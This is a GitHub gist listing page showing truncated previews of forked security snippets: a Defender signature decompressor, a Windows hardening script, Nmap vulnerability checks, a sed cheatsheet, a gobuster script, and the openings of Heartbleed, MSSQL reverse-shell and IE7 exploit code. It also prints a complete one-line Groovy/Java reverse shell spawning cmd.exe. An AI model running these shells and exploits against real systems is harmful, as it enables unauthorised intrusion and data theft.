yuhisern7’s gists

yuhisern7 / ExpandDefenderSig.ps1

Created October 11, 2019 11:23 — forked from mattifestation/ExpandDefenderSig.ps1

Decompresses Windows Defender AV signatures for exploration purposes

	filter Expand-DefenderAVSignatureDB {
	<#
	.SYNOPSIS

	Decompresses a Windows Defender AV signature database (.VDM file).

	.DESCRIPTION

	Expand-DefenderAVSignatureDB extracts a Windows Defender AV signature database (.VDM file). This function was developed by reversing mpengine.dll and with the help of Tavis Ormandy and his LoadLibrary project (https://github.com/taviso/loadlibrary). Note: Currently, "scrambled" databases are not supported although, I have yet to encounter a scrambled database. Thus far, all databases I've encountered are zlib-compressed.

yuhisern7 / Windows10Reloaded.ps1

Created September 25, 2019 02:15 — forked from subinacls/Windows10Reloaded.ps1

Windows 10 Reloaded Security/Hardening powershell script enables basic IPSec, Chrome policy, Adobe Reader and Acrobat Security features and disables various telemetry. This also removes all default installed apps, and installs apps of your choice.

	##########
	# Win10 Initial Setup Script
	# Author: Disassembler, Gr1d:, TheRoc
	# Edited by Gr1D:
	# dasm's script: https://github.com/Disassembler0/Win10-Initial-Setup-Script/
	# TheROC's E.T. Disable script: https://gist.github.com/thoroc/86d354d029dda303598a

	# THIS IS VERSION 5.5, error suppression is turned on. PLEASE be patient and PLEASE restart after running the script.
	# This script leaves more MS defaults on, including MSE and smart-screen,
	# but blocks a ton of domains and disables remote assistance secures java, sets up ipsec..

yuhisern7 / oracle-tns-poison.nse

Created September 6, 2019 19:02 — forked from JukArkadiy/oracle-tns-poison.nse

Nmap script to test Oracle DB for "TNS poison vulnerability"

	local bin = require "bin"
	local io = require "io"
	local nmap = require "nmap"
	local shortport = require "shortport"
	local stdnse = require "stdnse"
	local table = require "table"

	description = [[
	Simple module to test Oracle DB server for TNS Poison vulnerability.
	Module sends to server a packet with command to register new TNS Listener and check response

yuhisern7 / http-vuln-cve2017-9805.nse

Created August 30, 2019 01:49 — forked from r00tpgp/http-vuln-cve2017-9805.nse

Nmap NSE Script Detects whether the specified URL is vulnerable to the Apache Struts REST Plugin XStream Remote Code Execution Vulnerability (CVE-2017-9805)

	description = [[
	Detects whether the specified URL is vulnerable to the Apache Struts REST Plugin XStream
	Remote Code Execution Vulnerability (CVE-2017-9805).
	]]

	local http = require "http"
	local shortport = require "shortport"
	local vulns = require "vulns"
	local stdnse = require "stdnse"
	local string = require "string"

yuhisern7 / revsh.groovy

Created August 29, 2019 09:02 — forked from frohoff/revsh.groovy

Pure Groovy/Java Reverse Shell

	String host="localhost";
	int port=8044;
	String cmd="cmd.exe";
	Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

yuhisern7 / mandros.py

Created July 22, 2019 07:49 — forked from xassiz/mandros.py

Reverse MSSQL shell

	import sys
	import requests
	import threading
	import HTMLParser
	from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

	'''
	Description: Reverse MSSQL shell through xp_cmdshell + certutil for exfiltration
	Author: @xassiz
	'''

yuhisern7 / heartbleed.py

Created July 5, 2019 16:20 — forked from eelsivart/heartbleed.py

Heartbleed (CVE-2014-0160) Test & Exploit Python Script

	#!/usr/bin/python

	# Modified by Travis Lee
	# Last Updated: 4/21/14
	# Version 1.16
	#
	# -changed output to display text only instead of hexdump and made it easier to read
	# -added option to specify number of times to connect to server (to get more data)
	# -added option to send STARTTLS command for use with SMTP/POP/IMAP/FTP/etc...
	# -added option to specify an input file of multiple hosts, line delimited, with or without a port specified (host:port)

yuhisern7 / sed cheatsheet

Created January 15, 2019 18:04 — forked from shikhir-arora/sed cheatsheet

Sed Cheatsheet


	FILE SPACING:

	# double space a file
	sed G

	# double space a file which already has blank lines in it. Output file
	# should contain no more than one blank line between lines of text.
	sed '/^$/d;G'

yuhisern7 / supergobuster.sh

Created September 9, 2018 22:45 — forked from lokori/supergobuster.sh

gobuster enumerator for hack-the-box machines. This generates huge amount of useless requests..

	#!/bin/bash
	set -eu

	URL=$1

	echo "super go bustering for super brute: $URL"

	gobuster -u $URL -l -s 200,204,301,302,307,403 -w /root/tools/SecLists/Discovery/Web_Content/tomcat.txt
	gobuster -u $URL -l -s 200,204,301,302,307,403 -w /root/tools/SecLists/Discovery/Web_Content/nginx.txt
	gobuster -u $URL -l -s 200,204,301,302,307,403 -w /root/tools/SecLists/Discovery/Web_Content/apache.txt

yuhisern7 / exploit.html

Created August 27, 2018 21:20 — forked from 0x09AL/exploit.html

Internet Explorer 7 RSP Exploit for blogpost

	<!DOCTYPE html>
	<html>
	<head>
	<title> Exploit for IE 7 </title>
	<object id="VULNERABLE" classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687'></object>
	</head>
	<body>

	<script type="text/javascript">

Yuhisern Navaratnam yuhisern7